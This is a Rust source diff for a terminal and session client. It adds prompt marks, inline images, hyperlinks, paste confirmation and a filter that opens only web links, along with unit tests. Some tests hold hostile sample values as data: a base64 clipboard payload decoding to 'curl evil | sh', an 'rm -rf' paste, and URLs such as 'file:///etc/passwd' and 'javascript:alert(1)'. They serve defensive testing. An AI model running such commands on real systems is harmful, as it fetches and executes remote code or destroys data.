const MAX_IMAGE_PIXELS: usize = 32 << 20;
/// One command as shell integration reported it. Lines are stable indexes (see `stable`).
#[derive(Clone, Debug)]
struct PromptMark {
prompt: i64,
output: Option<i64>,
end: Option<i64>,
exit: Option<i32>,
started: Option<std::time::Instant>,
duration: Option<std::time::Duration>,
}
/// Marks kept per terminal; older ones are dropped.
const MAX_PROMPTS: usize = 5000;
const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#; const URL_RE: &str = r#"(?:https?|ftp)://[^\s<>"'`]+[^\s<>"'`.,;:!?)\]]"#;
fn rgb(c: [u8; 4]) -> Color32 { fn rgb(c: [u8; 4]) -> Color32 {
@@ -127,14 +176,208 @@ impl TermView {
generation: 0, generation: 0,
find: None, find: None,
focus_requested: true, focus_requested: true,
confirm_paste: false,
osc: Default::default(),
prompts: Vec::new(),
rotated: 0,
max_history: scrollback.min(100_000),
reported_cwd: None,
images: Vec::new(),
cell_px: (8.0, 16.0),
} }
} }
pub fn feed(&mut self, bytes: &[u8]) { pub fn feed(&mut self, bytes: &[u8]) {
self.parser.advance(&mut self.term, bytes); let mut start = 0;
for (end, osc) in self.osc.scan(bytes) {
self.advance(&bytes[start..end]);
start = end;
self.apply_osc(osc);
}
self.advance(&bytes[start..]);
self.generation += 1; self.generation += 1;
} }
/// Feeds the VT parser, counting lines a full scrollback rotates out (one per line feed at the
/// bottom of the screen) so shell-integration marks stay on their lines.
fn advance(&mut self, bytes: &[u8]) {
if (self.prompts.is_empty() && self.images.is_empty()) || self.term.mode().contains(TermMode::ALT_SCREEN) {
self.parser.advance(&mut self.term, bytes);
return;
}
let h0 = self.term.grid().history_size();
if h0 < self.max_history {
self.parser.advance(&mut self.term, bytes);
} else {
// ponytail: counts LF at the bottom row only; scroll-region and CSI S scrolling while
// the history is full can leave marks a few lines off.
let bottom = self.rows as i32 - 1;
for piece in bytes.split_inclusive(|&b| b == b'\n') {
let at_bottom = self.term.grid().cursor.point.line.0 == bottom;
self.parser.advance(&mut self.term, piece);
if at_bottom && piece.ends_with(b"\n") && self.term.grid().history_size() == self.max_history {
self.rotated += 1;
}
}
}
if self.term.grid().history_size() < h0 {
// The scrollback was cleared: earlier marks point at nothing.
self.prompts.clear();
self.images.clear();
}
}
/// Stable index of a grid line: unchanged as lines scroll into (and out of) the history.
fn stable(&self, line: Line) -> i64 {
self.term.grid().history_size() as i64 + line.0 as i64 + self.rotated
}
fn line_of(&self, stable: i64) -> Line {
Line((stable - self.rotated - self.term.grid().history_size() as i64) as i32)
}
fn cursor_stable(&self) -> i64 {
self.stable(self.term.grid().cursor.point.line)
}
fn apply_osc(&mut self, osc: crate::osc::Osc) {
use crate::osc::Osc;
match osc {
Osc::Prompt => {
let line = self.cursor_stable();
if self.prompts.last().is_some_and(|p| p.prompt == line) {
return;
}
if self.prompts.len() >= MAX_PROMPTS {
self.prompts.remove(0);
}
self.prompts.push(PromptMark { prompt: line, output: None, end: None, exit: None, started: None, duration: None });
}
Osc::Output => {
let line = self.cursor_stable();
if let Some(p) = self.prompts.last_mut() {
p.output = Some(line);
p.started = Some(std::time::Instant::now());
}
}
Osc::Finished(code) => {
let line = self.cursor_stable();
if let Some(p) = self.prompts.last_mut().filter(|p| p.output.is_some() && p.end.is_none()) {
p.end = Some(line);
p.exit = code;
p.duration = p.started.map(|t| t.elapsed());
}
}
Osc::Cwd { host, path } => self.reported_cwd = Some((host, path)),
Osc::Image { data, width, height } => self.place_image(&data, &width, &height),
}
}
/// Decodes an inline image (PNG, JPEG or GIF, within size limits), anchors it at the cursor and
/// moves the cursor below it, as iTerm2 does.
fn place_image(&mut self, data: &[u8], width: &str, height: &str) {
if self.term.mode().contains(TermMode::ALT_SCREEN) {
return;
}
let decoded = (|| {
let mut r = image::ImageReader::new(std::io::Cursor::new(data)).with_guessed_format().ok()?;
let mut limits = image::Limits::default();
limits.max_image_width = Some(8192);
limits.max_image_height = Some(8192);
limits.max_alloc = Some(256 << 20);
r.limits(limits);
Some(r.decode().ok()?.to_rgba8())
})();
let Some(img) = decoded else { return };
let (cw, ch) = self.cell_px;
let (iw, ih) = (img.width() as f32, img.height() as f32);
let full_w = self.cols as f32 * cw;
let dim = |arg: &str, full: f32, cell: f32| -> Option<f32> {
let a = arg.trim();
if a.is_empty() || a == "auto" {
None
} else if let Some(px) = a.strip_suffix("px") {
px.parse().ok()
} else if let Some(pc) = a.strip_suffix('%') {
pc.parse::<f32>().ok().map(|p| full * p / 100.0)
} else {
a.parse::<f32>().ok().map(|n| n * cell)
}
};
let (w, h) = match (dim(width, full_w, cw), dim(height, self.rows as f32 * ch, ch)) {
(Some(w), Some(h)) => (w, h),
(Some(w), None) => (w, w * ih / iw),
(None, Some(h)) => (h * iw / ih, h),
(None, None) => (iw, ih),
};
// Never wider than the terminal; keep the aspect ratio when shrinking.
let scale = (full_w / w).min(1.0);
let (w, h) = (w * scale, h * scale);
let cols = ((w / cw).ceil() as usize).clamp(1, self.cols as usize);
let rows = ((h / ch).ceil() as usize).clamp(1, 1000);
let size = img.width() as usize * img.height() as usize;
while !self.images.is_empty() && self.images.iter().map(|i| i.size).sum::<usize>() + size > MAX_IMAGE_PIXELS {
self.images.remove(0);
}
let pixels = egui::ColorImage::from_rgba_unmultiplied([img.width() as usize, img.height() as usize], img.as_raw());
let (stable, col) = (self.cursor_stable(), self.term.grid().cursor.point.column.0);
self.images.push(InlineImage { stable, col, cols, rows, pixels: Some(pixels), texture: None, size });
// Leave room: the cursor ends up on the line below the image.
self.advance(&b"\r\n".repeat(rows));
}
fn paint_images(&mut self, ui: &Ui, rect: Rect, origin: Pos2, cw: f32, ch: f32) {
let top = self.term.grid().topmost_line().0;
let offset = self.term.grid().display_offset() as i32;
// Line of a stable index, without borrowing self (the loop below mutates the images).
let (rotated, history) = (self.rotated, self.term.grid().history_size() as i64);
let line_of = |stable: i64| (stable - rotated - history) as i32;
// Images that scrolled out of the scrollback are gone with it.
self.images.retain(|i| line_of(i.stable) + i.rows as i32 > top);
let painter = ui.painter_at(rect);
let rows = self.rows as i32;
for img in &mut self.images {
let vr = line_of(img.stable) + offset;
if vr + img.rows as i32 <= 0 || vr >= rows {
continue;
}
let at = Rect::from_min_size(origin + vec2(img.col as f32 * cw, vr as f32 * ch), vec2(img.cols as f32 * cw, img.rows as f32 * ch));
let tex = img.texture.get_or_insert_with(|| {
let px = img.pixels.take().unwrap_or_default();
ui.ctx().load_texture("term-image", px, egui::TextureOptions::LINEAR)
});
// Fit inside the reserved cells, keeping the aspect ratio.
let [tw, th] = tex.size();
let s = (at.width() / tw as f32).min(at.height() / th as f32);
let shown = Rect::from_min_size(at.min, vec2(tw as f32 * s, th as f32 * s));
painter.image(tex.id(), shown, Rect::from_min_max(Pos2::ZERO, pos2(1.0, 1.0)), Color32::WHITE);
}
}
/// Scrolls so the previous (or next) prompt is at the top. False when there is none.
pub fn jump_prompt(&mut self, forward: bool) -> bool {
let top = Line(-(self.term.grid().display_offset() as i32));
let lines: Vec<i32> = self.prompts.iter().map(|p| self.line_of(p.prompt).0).filter(|&l| l >= self.term.grid().topmost_line().0).collect();
let target = if forward { lines.iter().copied().find(|&l| l > top.0) } else { lines.iter().rev().copied().find(|&l| l < top.0) };
let Some(line) = target else { return false };
let want_offset = (-line).clamp(0, self.term.grid().history_size() as i32);
self.term.scroll_display(Scroll::Delta(want_offset - self.term.grid().display_offset() as i32));
true
}
/// The output of the most recent command that finished (shell integration).
pub fn last_output(&self) -> Option<String> {
let p = self.prompts.iter().rev().find(|p| p.output.is_some() && p.end.is_some())?;
let (from, to) = (self.line_of(p.output?).0.max(self.term.grid().topmost_line().0), self.line_of(p.end?).0);
let text: Vec<String> = (from..to).map(|l| self.line_text(Line(l)).0.trim_end().to_string()).collect();
Some(text.join("\n").trim_end_matches('\n').to_string())
}
/// Whether the shell reports prompts (OSC 133), which enables the commands above.
pub fn has_shell_integration(&self) -> bool {
!self.prompts.is_empty()
}
pub fn size(&self) -> (u16, u16) { pub fn size(&self) -> (u16, u16) {
(self.cols, self.rows) (self.cols, self.rows)
} }
@@ -287,17 +530,35 @@ impl TermView {
self.mouse(ui, &resp, origin, cw, ch, &mut out); self.mouse(ui, &resp, origin, cw, ch, &mut out);
// Terminal-originated events. // Terminal-originated events.
for e in std::mem::take(&mut *self.events.0.lock().unwrap()) { for e in std::mem::take(&mut *self.events.0.lock()) {
match e { match e {
TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()), TermEvent::PtyWrite(s) => out.reply.extend_from_slice(s.as_bytes()),
TermEvent::Title(t) => out.title = Some(t), TermEvent::Title(t) => out.title = Some(t),
TermEvent::Bell => out.bell = true, TermEvent::Bell => out.bell = true,
TermEvent::ClipboardStore(_, s) => ui.ctx().copy_text(s), TermEvent::ClipboardStore(_, s) => out.clipboard = Some(s),
_ => {} _ => {}
} }
} }
self.paint(ui, rect, origin, &font, cw, ch, theme, focused); self.paint(ui, rect, origin, &font, cw, ch, theme, focused);
self.cell_px = (cw, ch);
self.paint_images(ui, rect, origin, cw, ch);
// Exit status of each finished command, as a bar beside its prompt (shell integration).
let hover = ui.input(|i| i.pointer.hover_pos());
for (bar, exit, took) in self.status_bars(rect, origin, ch) {
let color = match exit {
Some(0) => Color32::from_rgb(0x4c, 0xaf, 0x50),
Some(_) => Color32::from_rgb(0xe5, 0x39, 0x35),
None => Color32::GRAY,
};
ui.painter_at(rect).rect_filled(bar, 1.0, color);
if hover.is_some_and(|p| bar.expand2(vec2(3.0, 0.0)).contains(p)) {
let exit = exit.map_or("finished".to_string(), |c| format!("exit {c}"));
let took = took.map_or(String::new(), |d| format!(" · {:.1?}", d));
egui::Tooltip::always_open(ui.ctx().clone(), ui.layer_id(), egui::Id::new(("cmd-status", bar.min.y as i32)), egui::PopupAnchor::Pointer)
.show(|ui| ui.label(format!("{exit}{took}")));
}
}
resp.context_menu(|ui| { resp.context_menu(|ui| {
let m = if cfg!(target_os = "macos") { "⌘" } else { "Ctrl+" }; let m = if cfg!(target_os = "macos") { "⌘" } else { "Ctrl+" };
@@ -314,6 +575,19 @@ impl TermView {
(MenuAction::Clear, "Clear", String::new()), (MenuAction::Clear, "Clear", String::new()),
(MenuAction::Reset, "Reset", String::new()), (MenuAction::Reset, "Reset", String::new()),
]; ];
if self.has_shell_integration() {
for (a, label, keys) in [
(MenuAction::PrevPrompt, "Previous Prompt", format!("{m}Shift+↑")),
(MenuAction::NextPrompt, "Next Prompt", format!("{m}Shift+↓")),
(MenuAction::CopyOutput, "Copy Last Command Output", String::new()),
] {
if ui.add(egui::Button::new(label).shortcut_text(keys).min_size(vec2(200.0, 0.0))).clicked() {
out.menu = Some(a);
ui.close();
}
}
ui.separator();
}
for (i, (a, label, keys)) in items.into_iter().enumerate() { for (i, (a, label, keys)) in items.into_iter().enumerate() {
if matches!(i, 3 | 5 | 6 | 8) { if matches!(i, 3 | 5 | 6 | 8) {
ui.separator(); ui.separator();
@@ -334,9 +608,38 @@ impl TermView {
self.select_all(); self.select_all();
out.menu = None; out.menu = None;
} }
match out.menu {
Some(a @ (MenuAction::PrevPrompt | MenuAction::NextPrompt)) => {
self.jump_prompt(a == MenuAction::NextPrompt);
out.menu = None;
}
Some(MenuAction::CopyOutput) => {
if let Some(text) = self.last_output() {
ui.ctx().copy_text(text);
}
out.menu = None;
}
_ => {}
}
out out
} }
/// Where to draw each visible finished command's status bar, with its exit code and duration.
fn status_bars(&self, rect: Rect, origin: Pos2, ch: f32) -> Vec<(Rect, Option<i32>, Option<std::time::Duration>)> {
let offset = self.term.grid().display_offset() as i32;
self.prompts
.iter()
.filter(|p| p.end.is_some())
.filter_map(|p| {
let vr = self.line_of(p.prompt).0 + offset;
(0..self.rows as i32).contains(&vr).then(|| {
let y = origin.y + vr as f32 * ch;
(Rect::from_min_max(pos2(rect.left(), y + 1.0), pos2(rect.left() + 3.0, y + ch - 1.0)), p.exit, p.duration)
})
})
.collect()
}
fn keyboard(&mut self, ui: &mut Ui, out: &mut TermResponse) { fn keyboard(&mut self, ui: &mut Ui, out: &mut TermResponse) {
let events = ui.input(|i| i.events.clone()); let events = ui.input(|i| i.events.clone());
let mode = *self.term.mode(); let mode = *self.term.mode();
@@ -369,6 +672,11 @@ impl TermView {
typed = true; typed = true;
} }
Event::Key { key, pressed: true, modifiers, .. } => { Event::Key { key, pressed: true, modifiers, .. } => {
// Ctrl/Cmd+Shift+Up/Down jump between prompts (shell integration).
if modifiers.command && modifiers.shift && matches!(key, Key::ArrowUp | Key::ArrowDown) && self.has_shell_integration() {
self.jump_prompt(key == Key::ArrowDown);
continue;
}
// Shift+PageUp/PageDown/Home/End scroll the local scrollback. // Shift+PageUp/PageDown/Home/End scroll the local scrollback.
if modifiers.shift && !modifiers.ctrl && !mode.contains(TermMode::ALT_SCREEN) { if modifiers.shift && !modifiers.ctrl && !mode.contains(TermMode::ALT_SCREEN) {
let page = self.rows as i32 - 1; let page = self.rows as i32 - 1;
@@ -398,7 +706,17 @@ impl TermView {
} }
} }
/// Pastes `text`, or hands it back in `out.confirm_paste` when `confirm_paste` is set and the
/// newlines would run each line immediately (no bracketed paste).
pub fn paste(&mut self, text: &str, out: &mut TermResponse) { pub fn paste(&mut self, text: &str, out: &mut TermResponse) {
if self.confirm_paste && !self.term.mode().contains(TermMode::BRACKETED_PASTE) && text.contains(['\n', '\r']) {
out.confirm_paste = Some(text.into());
return;
}
self.paste_now(text, out);
}
pub fn paste_now(&mut self, text: &str, out: &mut TermResponse) {
let text = text.replace("\r\n", "\r").replace('\n', "\r"); let text = text.replace("\r\n", "\r").replace('\n', "\r");
if self.term.mode().contains(TermMode::BRACKETED_PASTE) { if self.term.mode().contains(TermMode::BRACKETED_PASTE) {
out.input.extend_from_slice(b"\x1b[200~"); out.input.extend_from_slice(b"\x1b[200~");
@@ -470,7 +788,8 @@ impl TermView {
if modifiers.command if modifiers.command
&& let Some(url) = self.url_at(origin, cw, ch, *pos) && let Some(url) = self.url_at(origin, cw, ch, *pos)
{ {
ui.ctx().open_url(egui::OpenUrl::new_tab(url)); // Only web links: text from a remote host must not launch file: or custom-scheme handlers.
crate::widgets::open_web_url(ui.ctx(), &url);
continue; continue;
} }
let now = ui.input(|i| i.time); let now = ui.input(|i| i.time);
@@ -524,9 +843,20 @@ impl TermView {
_ => {} _ => {}
} }
} }
// An OSC 8 link's text can say anything, so its real target is always shown on hover.
if let Some(p) = hover
&& let Some(link) = self.hyperlink_at(self.point_at(origin, cw, ch, p).0)
{
egui::Tooltip::always_open(ui.ctx().clone(), ui.layer_id(), egui::Id::new("term-link"), egui::PopupAnchor::Pointer).show(|ui| {
ui.label(&link);
if !crate::widgets::is_web_url(&link) {
ui.label(egui::RichText::new("Not a web link — won't be opened").weak());
}
});
}
if let Some(p) = hover if let Some(p) = hover
&& ui.input(|i| i.modifiers.command) && ui.input(|i| i.modifiers.command)
&& self.url_at(origin, cw, ch, p).is_some() && self.url_at(origin, cw, ch, p).is_some_and(|u| crate::widgets::is_web_url(&u))
{ {
ui.ctx().set_cursor_icon(egui::CursorIcon::PointingHand); ui.ctx().set_cursor_icon(egui::CursorIcon::PointingHand);
} else if hover.is_some() { } else if hover.is_some() {
@@ -534,8 +864,12 @@ impl TermView {
} }
} }
/// The link under `p`: an OSC 8 hyperlink on the cell, else a URL in the text.
fn url_at(&self, origin: Pos2, cw: f32, ch: f32, p: Pos2) -> Option<String> { fn url_at(&self, origin: Pos2, cw: f32, ch: f32, p: Pos2) -> Option<String> {
let (point, _) = self.point_at(origin, cw, ch, p); let (point, _) = self.point_at(origin, cw, ch, p);
if let Some(link) = self.hyperlink_at(point) {
return Some(link);
}
let (text, cols) = self.line_text(point.line); let (text, cols) = self.line_text(point.line);
let re = regex::Regex::new(URL_RE).ok()?; let re = regex::Regex::new(URL_RE).ok()?;
re.find_iter(&text).find_map(|m| { re.find_iter(&text).find_map(|m| {
@@ -545,6 +879,13 @@ impl TermView {
}) })
} }
fn hyperlink_at(&self, point: Point) -> Option<String> {
let g = self.term.grid();
(point.line >= g.topmost_line() && point.line <= g.bottommost_line() && point.column.0 < self.term.columns())
.then(|| g[point].hyperlink().map(|h| h.uri().to_string()))
.flatten()
}
#[allow(clippy::too_many_arguments)] #[allow(clippy::too_many_arguments)]
fn paint(&mut self, ui: &mut Ui, rect: Rect, origin: Pos2, font: &FontId, cw: f32, ch: f32, theme: &TermTheme, focused: bool) { fn paint(&mut self, ui: &mut Ui, rect: Rect, origin: Pos2, font: &FontId, cw: f32, ch: f32, theme: &TermTheme, focused: bool) {
let painter = ui.painter_at(rect); let painter = ui.painter_at(rect);
@@ -604,20 +945,29 @@ impl TermView {
} }
if cell.flags.intersects(Flags::ALL_UNDERLINES) { if cell.flags.intersects(Flags::ALL_UNDERLINES) {
painter.hline(cell_rect.x_range(), y + ch - 1.5, Stroke::new(1.0, fg)); painter.hline(cell_rect.x_range(), y + ch - 1.5, Stroke::new(1.0, fg));
} else if cell.hyperlink().is_some() {
// OSC 8 links: a dotted underline.
let mut x0 = cell_rect.left();
while x0 < cell_rect.right() {
painter.hline(x0..=(x0 + 1.5).min(cell_rect.right()), y + ch - 1.5, Stroke::new(1.0, fg.gamma_multiply(0.8)));
x0 += 3.0;
}
} }
if cell.flags.contains(Flags::STRIKEOUT) { if cell.flags.contains(Flags::STRIKEOUT) {
painter.hline(cell_rect.x_range(), y + ch * 0.55, Stroke::new(1.0, fg)); painter.hline(cell_rect.x_range(), y + ch * 0.55, Stroke::new(1.0, fg));
} }
let hidden = cell.flags.contains(Flags::HIDDEN); let hidden = cell.flags.contains(Flags::HIDDEN);
let chr = if hidden { ' ' } else { cell.c }; let chr = if hidden { ' ' } else { cell.c };
// ASCII runs share one text call; anything else is placed on its own cell so a // ASCII runs share one text call; anything else (including ASCII with combining
// fallback font's advance can't push later glyphs off the grid. // marks) is placed on its own cell so a fallback font's advance can't push later
if chr.is_ascii() && width == 1.0 && fg == run_color && !run.is_empty() { // glyphs off the grid.
let plain = chr.is_ascii() && width == 1.0 && cell.zerowidth().is_none();
if plain && fg == run_color && !run.is_empty() {
run.push(chr); run.push(chr);
continue; continue;
} }
flush(&mut run, run_x, run_color); flush(&mut run, run_x, run_color);
if chr.is_ascii() && width == 1.0 { if plain {
run.push(chr); run.push(chr);
run_x = x; run_x = x;
run_color = fg; run_color = fg;
@@ -626,7 +976,9 @@ impl TermView {
if let Some(z) = cell.zerowidth() { if let Some(z) = cell.zerowidth() {
s.extend(z); s.extend(z);
} }
painter.text(cell_rect.center(), egui::Align2::CENTER_CENTER, s, font.clone(), fg); // Top-anchored like the ASCII runs: centring vertically in the (rounded-up)
// cell height drew accented and other non-ASCII glyphs below the baseline.
painter.text(pos2(cell_rect.center().x, y), egui::Align2::CENTER_TOP, s, font.clone(), fg);
} }
} }
flush(&mut run, run_x, run_color); flush(&mut run, run_x, run_color);
@@ -855,6 +1207,100 @@ mod tests {
assert!(key_bytes(Key::A, none, TermMode::empty()).is_none()); assert!(key_bytes(Key::A, none, TermMode::empty()).is_none());
} }
#[test]
fn remote_clipboard_and_multiline_paste_go_to_the_app() {
let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
t.feed(b"\x1b]52;c;Y3VybCBldmlsIHwgc2g=\x07");
let ctx = egui::Context::default();
let mut out = None;
let mut full = ctx.run_ui(Default::default(), |ui| out = Some(t.ui(ui, crate::terminal_themes::get("charcoal"), true)));
full.textures_delta.clear();
assert_eq!(out.unwrap().clipboard.as_deref(), Some("curl evil | sh"));
assert!(!full.platform_output.commands.iter().any(|c| matches!(c, egui::OutputCommand::CopyText(_))), "the view must not touch the clipboard itself");
let mut out = TermResponse::default();
t.confirm_paste = true;
t.paste("ls\nrm -rf x\n", &mut out);
assert!(out.input.is_empty());
assert_eq!(out.confirm_paste.as_deref(), Some("ls\nrm -rf x\n"));
let mut out = TermResponse::default();
t.paste("one line", &mut out);
assert_eq!(out.input, b"one line");
t.feed(b"\x1b[?2004h");
let mut out = TermResponse::default();
t.paste("a\nb", &mut out);
assert!(out.confirm_paste.is_none() && out.input.starts_with(b"\x1b[200~"), "bracketed paste needs no prompt");
}
#[test]
fn shell_integration_marks_survive_a_full_scrollback() {
// Scrollback of 30 lines, so the history fills and rotates during the test.
let mut t = TermView::new(30, 14.0, CursorStyle::Block);
let prompt = |t: &mut TermView| t.feed(b"\x1b]133;A\x07$ \x1b]133;B\x07");
let run = |t: &mut TermView, cmd: &str, out: &[String], code: i32| {
t.feed(format!("{cmd}\r\n\x1b]133;C\x07").as_bytes());
for l in out {
t.feed(format!("{l}\r\n").as_bytes());
}
t.feed(format!("\x1b]133;D;{code}\x07").as_bytes());
};
prompt(&mut t);
run(&mut t, "seq 3", &["1".into(), "2".into(), "3".into()], 0);
prompt(&mut t);
assert_eq!(t.last_output().as_deref(), Some("1\n2\n3"));
let many: Vec<String> = (0..80).map(|i| format!("line {i}")).collect();
run(&mut t, "big", &many, 3);
prompt(&mut t);
run(&mut t, "tail", &["a".into(), "b".into()], 1);
prompt(&mut t);
assert_eq!(t.last_output().as_deref(), Some("a\nb"), "rotation must not shift the marks");
let last = t.prompts.iter().rev().nth(1).unwrap();
assert_eq!(last.exit, Some(1));
assert_eq!(t.line_text(t.line_of(last.prompt)).0.trim_end(), "$ tail");
// Jumping back lands an earlier prompt (still in the scrollback) at the top of the view.
let more: Vec<String> = (0..20).map(|i| format!("more {i}")).collect();
run(&mut t, "more", &more, 0);
prompt(&mut t);
assert!(t.jump_prompt(false));
let top = Line(-(t.term.grid().display_offset() as i32));
assert!(t.line_text(top).0.starts_with("$ "), "{:?}", t.line_text(top).0);
// A cleared scrollback drops the marks with it.
t.feed(b"\x1b[3J\x1b[2J");
t.feed(b"x\r\n");
assert!(t.prompts.len() <= 1);
}
#[test]
fn osc8_links_are_found_on_their_cells() {
let mut t = TermView::new(100, 14.0, CursorStyle::Block);
t.feed(b"see \x1b]8;;https://example.com/docs\x1b\\the docs\x1b]8;;\x1b\\ now");
let at = |c| t.hyperlink_at(Point::new(Line(0), Column(c)));
assert_eq!(at(4).as_deref(), Some("https://example.com/docs"));
assert_eq!(at(11).as_deref(), Some("https://example.com/docs"));
assert_eq!(at(12), None, "the link ends with its text");
assert_eq!(at(0), None);
}
#[test]
fn inline_images_reserve_rows_and_respect_width() {
use base64::Engine;
let mut png = Vec::new();
image::RgbaImage::from_pixel(40, 32, image::Rgba([255, 0, 0, 255])).write_to(&mut std::io::Cursor::new(&mut png), image::ImageFormat::Png).unwrap();
let b64 = base64::engine::general_purpose::STANDARD.encode(&png);
let mut t = TermView::new(100, 14.0, CursorStyle::Block);
t.cell_px = (8.0, 16.0);
t.feed(format!("x\r\n\x1b]1337;File=inline=1;width=10:{b64}\x07after").as_bytes());
let img = &t.images[0];
// 10 cells wide (80 px) keeps the 40x32 aspect: 64 px = 4 rows; the text continues below.
assert_eq!((img.col, img.cols, img.rows), (0, 10, 4));
assert_eq!(t.line_of(img.stable), Line(1));
assert_eq!(t.term.grid().cursor.point.line, Line(5));
assert!(t.line_text(Line(5)).0.starts_with("after"));
// Garbage is ignored rather than placed.
t.feed(b"\x1b]1337;File=inline=1:bm90IGFuIGltYWdl\x07");
assert_eq!(t.images.len(), 1);
}
#[test] #[test]
fn feeds_text_and_finds_it() { fn feeds_text_and_finds_it() {
let mut t = TermView::new(1000, 14.0, CursorStyle::Block); let mut t = TermView::new(1000, 14.0, CursorStyle::Block);
@@ -872,7 +1318,7 @@ mod tests {
fn replies_to_device_attributes() { fn replies_to_device_attributes() {
let mut t = TermView::new(10, 14.0, CursorStyle::Block); let mut t = TermView::new(10, 14.0, CursorStyle::Block);
t.feed(b"\x1b[6n"); t.feed(b"\x1b[6n");
let ev = t.events.0.lock().unwrap(); let ev = t.events.0.lock();
assert!(ev.iter().any(|e| matches!(e, TermEvent::PtyWrite(s) if s == "\x1b[1;1R"))); assert!(ev.iter().any(|e| matches!(e, TermEvent::PtyWrite(s) if s == "\x1b[1;1R")));
} }
+8 -3
View File
@@ -1,4 +1,4 @@
//! Profile export/import: encrypted `.nexus` (also reads `.link`) and plain JSON. //! Profile export/import: encrypted `.nexus` and plain JSON.
use crate::settings::{Job, poll}; use crate::settings::{Job, poll};
use crate::state::{Request, Shared}; use crate::state::{Request, Shared};
@@ -54,7 +54,7 @@ impl Transfer {
pub fn import_encrypted(&mut self) { pub fn import_encrypted(&mut self) {
if let Some(path) = if let Some(path) =
rfd::FileDialog::new().set_title("Import Profiles").add_filter("Nexus Export", &[EXTENSION, "link"]).add_filter("All files", &["*"]).pick_file() rfd::FileDialog::new().set_title("Import Profiles").add_filter("Nexus Export", &[EXTENSION]).add_filter("All files", &["*"]).pick_file()
{ {
self.mode = Some(Mode::Import { path, pw: String::new(), strategy: "skip", status: String::new() }); self.mode = Some(Mode::Import { path, pw: String::new(), strategy: "skip", status: String::new() });
} }
@@ -210,7 +210,12 @@ impl Transfer {
.add_filter("JSON", &["json"]) .add_filter("JSON", &["json"])
.save_file() .save_file()
{ {
match s.svc.export_json(*include_secrets).map_err(|e| e.to_string()).and_then(|j| std::fs::write(&path, j).map_err(|e| e.to_string())) { match s
.svc
.export_json(*include_secrets)
.map_err(|e| e.to_string())
.and_then(|j| nexus_core::secrets::write_private(&path, j.as_bytes()).map_err(|e| e.to_string()))
{
Ok(()) => { Ok(()) => {
s.success(format!("Exported {} profile(s) to {}", s.profiles.len(), path.display())); s.success(format!("Exported {} profile(s) to {}", s.profiles.len(), path.display()));
close = true; close = true;
+5 -2
View File
@@ -1,17 +1,18 @@
//! How a session is drawn. Terminal-style protocols share `TermView`; the rest have their own. //! How a session is drawn. Terminal-style protocols share `TermView`; the rest have their own.
use crate::desktop_view::DesktopView;
use crate::github_view::GithubView; use crate::github_view::GithubView;
use crate::irc_view::IrcView; use crate::irc_view::IrcView;
use crate::raw_view::RawView; use crate::raw_view::RawView;
use crate::terminal::TermView; use crate::terminal::TermView;
use crate::vnc_view::VncView;
pub enum View { pub enum View {
Terminal(Box<TermView>), Terminal(Box<TermView>),
Raw(Box<RawView>), Raw(Box<RawView>),
Irc(Box<IrcView>), Irc(Box<IrcView>),
Github(Box<GithubView>), Github(Box<GithubView>),
Vnc(Box<VncView>), /// VNC or RDP.
Desktop(Box<DesktopView>),
} }
/// Protocol badge colour (the web build's --protocol-* tokens). /// Protocol badge colour (the web build's --protocol-* tokens).
@@ -24,6 +25,7 @@ pub fn protocol_color(p: nexus_core::models::Protocol) -> egui::Color32 {
Raw => rgb(0xab, 0x47, 0xbc), Raw => rgb(0xab, 0x47, 0xbc),
Github => rgb(0x7c, 0x8a, 0xff), Github => rgb(0x7c, 0x8a, 0xff),
Vnc => rgb(0xe8, 0x5d, 0x4a), Vnc => rgb(0xe8, 0x5d, 0x4a),
Rdp => rgb(0x26, 0xa6, 0x9a),
Irc => rgb(0xd8, 0xb2, 0x4c), Irc => rgb(0xd8, 0xb2, 0x4c),
Local => rgb(0x8b, 0xc3, 0x4a), Local => rgb(0x8b, 0xc3, 0x4a),
Serial => rgb(0x4f, 0xa3, 0xe0), Serial => rgb(0x4f, 0xa3, 0xe0),
@@ -39,6 +41,7 @@ pub fn protocol_badge(p: nexus_core::models::Protocol) -> &'static str {
Raw => "RAW", Raw => "RAW",
Github => "GitHub", Github => "GitHub",
Vnc => "VNC", Vnc => "VNC",
Rdp => "RDP",
Irc => "IRC", Irc => "IRC",
Local => "LOCAL", Local => "LOCAL",
Serial => "SERIAL", Serial => "SERIAL",
+28
View File
@@ -125,6 +125,24 @@ pub fn group(n: u64) -> String {
out out
} }
/// Whether `url` is a plain web link. Links that arrive from the network (update manifests,
/// GitHub API responses) are only handed to the system opener when they are http(s), so a
/// hostile or spoofed server can't launch `file:`, `ssh:` or custom-scheme handlers.
pub fn is_web_url(url: &str) -> bool {
let u = url.trim();
(u.len() > 8 && u[..8].eq_ignore_ascii_case("https://")) || (u.len() > 7 && u[..7].eq_ignore_ascii_case("http://"))
}
/// Opens `url` in the browser if it is a web link; returns false (and opens nothing) otherwise.
pub fn open_web_url(ctx: &egui::Context, url: &str) -> bool {
if !is_web_url(url) {
tracing::warn!(url, "refusing to open a non-web URL");
return false;
}
ctx.open_url(egui::OpenUrl::new_tab(url.trim()));
true
}
pub fn human_size(n: u64) -> String { pub fn human_size(n: u64) -> String {
const U: [&str; 5] = ["B", "KiB", "MiB", "GiB", "TiB"]; const U: [&str; 5] = ["B", "KiB", "MiB", "GiB", "TiB"];
let mut v = n as f64; let mut v = n as f64;
@@ -142,4 +160,14 @@ mod tests {
fn helpers() { fn helpers() {
assert_eq!(super::group(1234567), "1,234,567"); assert_eq!(super::group(1234567), "1,234,567");
} }
#[test]
fn only_web_urls_are_opened() {
for ok in ["https://dixon.cx/downloads/nexus/", "http://localhost:3000/x", " HTTPS://Example.com "] {
assert!(super::is_web_url(ok), "{ok}");
}
for bad in ["", "https://", "file:///etc/passwd", "ssh://evil", "javascript:alert(1)", "ms-msdt:/id x", "ftp://host/", "//host/path"] {
assert!(!super::is_web_url(bad), "{bad}");
}
}
} }
+15
View File
@@ -3,6 +3,10 @@ name = "nexus-core"
version.workspace = true version.workspace = true
edition.workspace = true edition.workspace = true
[features]
# Exposes parser entry points for rust/fuzz (cargo-fuzz).
fuzzing = []
[dependencies] [dependencies]
serde = { version = "1", features = ["derive"] } serde = { version = "1", features = ["derive"] }
serde_json = "1" serde_json = "1"
@@ -21,6 +25,9 @@ tokio = { version = "1.53.2", features = ["full"] }
sha2 = "0.11.0" sha2 = "0.11.0"
hmac = "0.13.0" hmac = "0.13.0"
sha1 = "0.11.0" sha1 = "0.11.0"
zeroize = "1"
